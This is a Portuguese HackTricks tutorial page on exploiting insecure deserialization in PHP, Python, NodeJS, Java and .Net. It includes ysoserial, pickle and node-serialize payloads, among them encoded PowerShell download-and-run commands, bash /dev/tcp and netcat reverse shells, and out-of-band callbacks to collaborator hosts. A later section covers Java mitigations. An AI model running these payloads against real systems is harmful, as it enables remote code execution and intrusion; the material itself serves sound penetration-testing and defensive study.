51 KiB
Desserialização
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informação Básica
Serialização é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.
Desserialização, por outro lado, é o processo que contraria a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
A desserialização pode ser perigosa porque potencialmente permite que atacantes manipulem os dados serializados para executar código malicioso ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
PHP
No PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:
__sleep
: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para confirmar dados pendentes ou realizar tarefas de limpeza semelhantes.__wakeup
: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.__unserialize
: Este método é chamado em vez de__wakeup
(se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com__wakeup
.__destruct
: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. Geralmente é usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.__toString
: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Se você olhar para os resultados, pode ver que as funções __wakeup
e __destruct
são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função __toString
é chamada ao tentar imprimir algum atributo, mas aparentemente isso não está mais acontecendo.
{% hint style="warning" %}
O método __unserialize(array $data)
é chamado em vez de __wakeup()
se estiver implementado na classe. Isso permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar esse método para desserializar propriedades e realizar quaisquer tarefas necessárias durante a desserialização.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Você pode ler um exemplo PHP explicado aqui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aqui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou aqui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Você poderia abusar da funcionalidade de autoload do PHP para carregar arquivos PHP arbitrários e mais:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Serializando Valores Referenciados
Se por algum motivo você deseja serializar um valor como uma referência a outro valor serializado você pode:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial para PHP)
PHPGGC pode ajudá-lo a gerar payloads para abusar de desserializações em PHP.
Note que em vários casos você não conseguirá encontrar uma maneira de abusar de uma desserialização no código-fonte da aplicação, mas você pode ser capaz de abusar do código de extensões PHP externas.
Portanto, se possível, verifique o phpinfo()
do servidor e pesquise na internet (e até nos gadgets do PHPGGC) alguns possíveis gadgets que você poderia abusar.
Desserialização de metadados phar://
Se você encontrou uma LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Você pode tentar abusar de uma desserialização que ocorre ao ler um arquivo usando o protocolo phar.
Para mais informações, leia o seguinte post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Quando o objeto é desempacotado, a função __reduce__ será executada.
Quando explorado, o servidor pode retornar um erro.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Para obter mais informações sobre como escapar das cadeias de pickle, verifique:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
A seguinte página apresenta a técnica de abusar da desserialização insegura em bibliotecas python yamls e termina com uma ferramenta que pode ser usada para gerar carga útil de desserialização RCE para Pickle, PyYAML, jsonpickle e ruamel.yaml:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Poluição de Classe (Poluição de Protótipo Python)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
Funções Mágicas JS
O JS não possui funções "mágicas" como PHP ou Python que serão executadas apenas para criar um objeto. Mas possui algumas funções que são frequentemente usadas mesmo sem serem chamadas diretamente como toString
, valueOf
, toJSON
.
Ao abusar de uma desserialização, você pode comprometer essas funções para executar outro código (potencialmente abusando de poluições de protótipo) e poderá executar código arbitrário quando elas forem chamadas.
Outra forma "mágica" de chamar uma função sem chamá-la diretamente é comprometer um objeto que é retornado por uma função assíncrona (promessa). Porque, se você transformar esse objeto retornado em outra promessa com uma propriedade chamada "then" do tipo função, ela será executada apenas porque é retornada por outra promessa. Siga este link para mais informações.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
Poluição de __proto__
e prototype
Se você deseja aprender sobre essa técnica, dê uma olhada no seguinte tutorial:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Essa biblioteca permite serializar funções. Exemplo:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
O objeto serializado terá a seguinte aparência:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Pode ver no exemplo que quando uma função é serializada, a flag _$$ND_FUNC$$_
é anexada ao objeto serializado.
Dentro do arquivo node-serialize/lib/serialize.js
, você pode encontrar a mesma flag e como o código a está utilizando.
Como pode ver no último trecho de código, se a flag for encontrada, eval
é usado para desserializar a função, então basicamente a entrada do usuário está sendo usada dentro da função eval
.
No entanto, apenas serializar uma função não a executará, pois seria necessário que alguma parte do código estivesse chamando y.rce
em nosso exemplo e isso é altamente improvável.
De qualquer forma, você poderia simplesmente modificar o objeto serializado adicionando alguns parênteses para executar automaticamente a função serializada quando o objeto for desserializado.
No próximo trecho de código, observe o último parêntese e como a função unserialize
executará automaticamente o código:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Como foi indicado anteriormente, esta biblioteca irá obter o código após _$$ND_FUNC$$_
e irá executá-lo usando eval
. Portanto, para auto-executar código, você pode excluir a parte de criação da função e o último parêntese e apenas executar um JS oneliner como no exemplo a seguir:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Pode encontrar aqui mais informações sobre como explorar essa vulnerabilidade.
funcster
Um aspecto notável do funcster é a inacessibilidade dos objetos internos padrão; eles estão fora do escopo acessível. Essa restrição impede a execução de código que tenta invocar métodos em objetos internos, levando a exceções como "ReferenceError: console is not defined"
quando comandos como console.log()
ou require(something)
são usados.
Apesar dessa limitação, a restauração do acesso total ao contexto global, incluindo todos os objetos internos padrão, é possível por meio de uma abordagem específica. Ao alavancar o contexto global diretamente, é possível contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o seguinte trecho:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Para mais informações leia esta fonte.
serialize-javascript
O pacote serialize-javascript é projetado exclusivamente para fins de serialização, sem quaisquer capacidades de desserialização embutidas. Os usuários são responsáveis por implementar seu próprio método para desserialização. Um uso direto do eval
é sugerido pelo exemplo oficial para desserializar dados serializados:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Se esta função for usada para desserializar objetos, você pode explorá-la facilmente:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Para mais informações leia esta fonte.
Biblioteca Cryo
Nas páginas a seguir, você pode encontrar informações sobre como abusar dessa biblioteca para executar comandos arbitrários:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
No Java, callbacks de desserialização são executados durante o processo de desserialização. Essa execução pode ser explorada por atacantes que criam payloads maliciosos que acionam esses callbacks, levando à execução potencial de ações prejudiciais.
Impressões Digitais
Caixa Branca
Para identificar possíveis vulnerabilidades de serialização no código-fonte, procure por:
- Classes que implementam a interface
Serializable
. - Uso de
java.io.ObjectInputStream
, funçõesreadObject
,readUnshare
.
Preste atenção especial em:
XMLDecoder
utilizado com parâmetros definidos por usuários externos.- Método
fromXML
doXStream
, especialmente se a versão do XStream for menor ou igual a 1.46, pois é suscetível a problemas de serialização. ObjectInputStream
acoplado ao métodoreadObject
.- Implementação de métodos como
readObject
,readObjectNodData
,readResolve
oureadExternal
. ObjectInputStream.readUnshared
.- Uso geral de
Serializable
.
Caixa Preta
Para testes de caixa preta, procure por assinaturas ou "Bytes Mágicos" específicos que denotam objetos serializados em java (originados de ObjectInputStream
):
- Padrão hexadecimal:
AC ED 00 05
. - Padrão Base64:
rO0
. - Cabeçalhos de resposta HTTP com
Content-type
definido comoapplication/x-java-serialized-object
. - Padrão hexadecimal indicando compressão anterior:
1F 8B 08 00
. - Padrão Base64 indicando compressão anterior:
H4sIA
. - Arquivos da web com a extensão
.faces
e o parâmetrofaces.ViewState
. Descobrir esses padrões em uma aplicação web deve motivar uma análise detalhada conforme descrito no post sobre Desserialização de ViewState Java JSF.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Verificar se é vulnerável
Se você deseja aprender como funciona uma exploração de desserialização Java, você deve dar uma olhada em Deserialização Java Básica, Deserialização Java DNS e Carga Útil CommonsCollection1.
Teste de Caixa Branca
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Você poderia tentar verificar todas as bibliotecas conhecidas por serem vulneráveis e para as quais o Ysoserial pode fornecer um exploit. Ou você poderia verificar as bibliotecas indicadas no Java-Deserialization-Cheat-Sheet.
Você também pode usar o gadgetinspector para procurar possíveis cadeias de gadgets que podem ser exploradas.
Ao executar o gadgetinspector (após construí-lo), não se preocupe com a quantidade de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-minuto.txt. Por favor, note que o gadgetinspector não criará um exploit e pode indicar falsos positivos.
Teste de Caixa Preta
Usando a extensão do Burp gadgetprobe você pode identificar quais bibliotecas estão disponíveis (e até mesmo as versões). Com essa informação, poderia ser mais fácil escolher um payload para explorar a vulnerabilidade.
Leia mais sobre o GadgetProbe aqui.
O GadgetProbe é focado em desserializações do ObjectInputStream
.
Usando a extensão do Burp Java Deserialization Scanner você pode identificar bibliotecas vulneráveis exploráveis com ysoserial e explorá-las.
Leia mais sobre o Java Deserialization Scanner aqui.
O Java Deserialization Scanner é focado em desserializações do ObjectInputStream
.
Você também pode usar o Freddy para detectar vulnerabilidades de desserialização no Burp. Este plugin detectará vulnerabilidades relacionadas não apenas ao ObjectInputStream
, mas também a bibliotecas de desserialização Json e Yml. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.
Você pode encontrar mais informações sobre o Freddy aqui.
Teste de Serialização
Não se trata apenas de verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de alterar os dados dentro do objeto serializado e contornar algumas verificações (talvez concedendo privilégios de administrador dentro de um aplicativo da web).
Se você encontrar um objeto serializado Java sendo enviado para um aplicativo da web, você pode usar SerializationDumper para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado. Saber quais dados você está enviando facilitaria a modificação e contornaria algumas verificações.
Exploit
ysoserial
A principal ferramenta para explorar desserializações Java é o ysoserial (baixe aqui). Você também pode considerar usar o ysoseral-modified, que permitirá o uso de comandos complexos (com pipes, por exemplo).
Observe que esta ferramenta é centrada em explorar o ObjectInputStream
.
Eu começaria usando o payload "URLDNS" antes de um payload RCE para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE sim.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Ao criar um payload para java.lang.Runtime.exec() você não pode usar caracteres especiais como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo passar argumentos para um comando separados por espaços (você pode fazer echo -n "hello world"
mas não pode fazer python2 -c 'print "Hello world"'
). Para codificar corretamente o payload, você pode usar esta página da web.
Sinta-se à vontade para usar o script a seguir para criar todos os possíveis payloads de execução de código para Windows e Linux e então testá-los na página da web vulnerável:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Você pode usar https://github.com/pwntester/SerialKillerBypassGadgetCollection juntamente com ysoserial para criar mais exploits. Mais informações sobre essa ferramenta nos slides da palestra onde a ferramenta foi apresentada: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização Json e Yml em Java.
Para compilar o projeto, eu precisei adicionar essas dependências ao pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instale o Maven e compile o projeto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Saiba mais sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratórios
- Se você deseja testar alguns payloads ysoserial, você pode executar este aplicativo da web: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Por que
O Java utiliza bastante a serialização para diversos fins, como:
- Requisições HTTP: A serialização é amplamente utilizada na gestão de parâmetros, ViewState, cookies, etc.
- RMI (Remote Method Invocation): O protocolo Java RMI, que depende inteiramente da serialização, é fundamental para a comunicação remota em aplicações Java.
- RMI sobre HTTP: Este método é comumente utilizado por aplicações web de cliente espesso baseadas em Java, utilizando a serialização para todas as comunicações de objetos.
- JMX (Java Management Extensions): JMX utiliza a serialização para transmitir objetos pela rede.
- Protocolos Personalizados: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, o que será demonstrado em exemplos de exploração futuros.
Prevenção
Objetos Transientes
Uma classe que implementa Serializable
pode implementar como transient
qualquer objeto dentro da classe que não deve ser serializável. Por exemplo:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evite a Serialização de uma classe que precisa implementar Serializable
Em cenários onde certos objetos devem implementar a interface Serializable
devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método readObject()
final
que lança consistentemente uma exceção, conforme mostrado abaixo:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Melhorando a Segurança da Desserialização em Java
Personalizar java.io.ObjectInputStream
é uma abordagem prática para garantir a segurança dos processos de desserialização. Este método é adequado quando:
- O código de desserialização está sob seu controle.
- As classes esperadas para desserialização são conhecidas.
Sobrescreva o método resolveClass()
para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no exemplo a seguir que restringe a desserialização apenas para a classe Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Usando um Agente Java para Melhoria de Segurança oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para listar classes prejudiciais, usando um parâmetro JVM:
-javaagent:name-of-agent.jar
Ele fornece uma maneira de garantir a desserialização dinamicamente, ideal para ambientes onde mudanças de código imediatas são impraticáveis.
Confira um exemplo em rO0 by Contrast Security
Implementando Filtros de Serialização: O Java 9 introduziu filtros de serialização por meio da interface ObjectInputFilter
, fornecendo um mecanismo poderoso para especificar critérios que objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por fluxo, oferecendo um controle granular sobre o processo de desserialização.
Para utilizar filtros de serialização, você pode definir um filtro global que se aplica a todas as operações de desserialização ou configurá-lo dinamicamente para fluxos específicos. Por exemplo:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Aproveitando Bibliotecas Externas para Segurança Aprimorada: Bibliotecas como NotSoSerial, jdeserialize e Kryo oferecem recursos avançados para controlar e monitorar a desserialização em Java. Essas bibliotecas podem fornecer camadas adicionais de segurança, como listas de permissões ou proibições de classes, análise de objetos serializados antes da desserialização e implementação de estratégias de serialização personalizadas.
- NotSoSerial intercepta processos de desserialização para evitar a execução de código não confiável.
- jdeserialize permite a análise de objetos Java serializados sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.
- Kryo é um framework de serialização alternativo que enfatiza velocidade e eficiência, oferecendo estratégias de serialização configuráveis que podem aprimorar a segurança.
Referências
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Palestra sobre desserialização e ysoserial: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Palestra sobre gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 e slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Artigo Marshalsec: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Artigo sobre desserializações CVEs: https://paper.seebug.org/123/
Injeção JNDI & log4Shell
Descubra o que é Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar o log4shell (e um exemplo dessa vulnerabilidade) na seguinte página:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Serviço de Mensagens Java
A API do Serviço de Mensagens Java (JMS) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS faz parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja desacoplada, confiável e assíncrona. (De Wikipedia).
Produtos
Existem vários produtos que usam esse middleware para enviar mensagens:
Exploração
Basicamente, existem vários serviços usando JMS de maneira perigosa. Portanto, se você tiver privilégios suficientes para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar objetos maliciosos serializados que serão desserializados pelo consumidor/assinante.
Isso significa que, nessa exploração, todos os clientes que forem usar essa mensagem serão infectados.
Lembre-se de que, mesmo se um serviço for vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
A ferramenta JMET foi criada para conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro do aplicativo vulnerável.
Referências
- Palestra JMET: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Slides: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
No contexto do .Net, os exploits de desserialização operam de maneira semelhante aos encontrados em Java, onde gadgets são explorados para executar código específico durante a desserialização de um objeto.
Impressão Digital
WhiteBox
O código fonte deve ser inspecionado em busca de ocorrências de:
TypeNameHandling
JavaScriptTypeResolver
O foco deve estar em serializadores que permitem que o tipo seja determinado por uma variável sob controle do usuário.
BlackBox
A busca deve visar a string codificada em Base64 AAEAAAD///// ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso poderia incluir, mas não se limitar a, estruturas JSON ou XML com TypeObject
ou $type
.
ysoserial.net
